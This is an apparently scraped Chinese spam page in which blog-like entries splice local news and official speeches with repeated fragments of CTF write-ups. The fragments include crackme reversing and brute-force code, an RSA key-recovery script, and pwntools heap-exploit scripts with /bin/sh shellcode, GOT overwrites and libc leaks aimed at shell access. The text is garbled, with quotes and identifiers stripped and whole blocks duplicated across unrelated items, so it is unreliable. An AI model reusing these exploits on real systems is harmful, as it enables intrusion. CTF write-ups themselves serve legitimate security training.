更多>>精华博文推荐
更多>>人气最旺专家

赵少鹏

领域:慧聪网

介绍:而在基地,像大菱这样签约进驻的企业还有70多家,涵盖配件生产、整车组装等,生产的电动车销往泰国等地。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,这使得MicrosoftEdge成为最安全的浏览器之一,在NSSLab于2017年8月23日至9月12日期间针对网络钓鱼防护的测试结果中,Edge的表现优于Chrome和Firefox。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}...

石弘

领域:中国企业新闻网

介绍:通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。,V8现在配备了并行Scavenger,通过大量基准测试我们发现它能够减少主线程垃圾收集总时间的20%-50%。...

www.992258.com
ffr | 2018-9-26 | 阅读(650) | 评论(626)
出站的旅客或行色匆匆、或面带笑容,随着人流逐步行至站外,现场还有不少穿着制服的民警在站内向旅客发放交通安全知识手册,呼吁市民注意安全出行,确保回家路上安全有序。在攻击命令方面,虽然我们在Lua执行环境的源文件中看到了对DDoS攻击的支持,但到目前为止还没有看到实际的DDoS攻击。,“aquario”是南美洲国家流行无线路由器的默认密码。以招商引资增加项目建设、以项目建设推动招商引资的良性循环正在逐渐形成,贵港招商引资的“洼地效应”日益显现。...【阅读全文】
lth | 2018-9-26 | 阅读(80) | 评论(455)
忙碌之余,梁清还和村民一起到合作社帮工,拿到一份务工收入。1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d),利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}在此,我谨代表桂平市委、市政府和全市203万各族人民,对各位领导、各位嘉宾、各位车友、各位朋友的到来,表示最热烈的欢迎!自第四届中国汽车(房车)露营大会确定在桂平举办以来,为打造广西“体育+旅游”的融合发展、推广“中国—东盟房车自驾车露营圈”战略,我市努力克服种种困难,集中人力、物力、财力,扎实推进五星级汽车露营地、大会主会场以及配套的道路交通基础设施和城市风貌改造等项目。...【阅读全文】
fnp | 2018-9-26 | 阅读(906) | 评论(180)
处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}与NotPetya相比,针对每个受害者使用唯一的支付钱包可能意味着受害者可以通过在这种情况下支付赎金来恢复他们的文件,并且活动背后的始作俑者可能会从中受益。,“aquario”是南美洲国家流行无线路由器的默认密码。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()...【阅读全文】
njl | 2018-9-26 | 阅读(668) | 评论(696)
作品被人民大会堂、中南海等机构和个人收藏。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzab